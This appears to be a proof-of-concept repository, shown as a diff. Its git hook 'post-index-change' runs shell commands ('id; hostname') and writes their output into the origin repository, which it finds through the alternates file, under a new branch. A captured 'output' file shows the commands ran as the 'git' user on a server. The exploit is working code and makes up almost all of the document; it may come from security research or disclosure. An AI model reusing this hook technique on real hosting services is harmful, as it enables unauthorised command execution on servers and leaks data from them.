README.md

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+# poc-81cc3a8fcf
+

hooks/post-index-change

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+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+output_blob=$({ /bin/sh -c 'id; hostname'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/out-81cc3a8fcf "$commit" || exit 7
+exit 0

output

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-uid=1000(git) gid=1000(git) groups=1000(git),1000(git)
-b82c4026e60f
-
-[exit-status=0]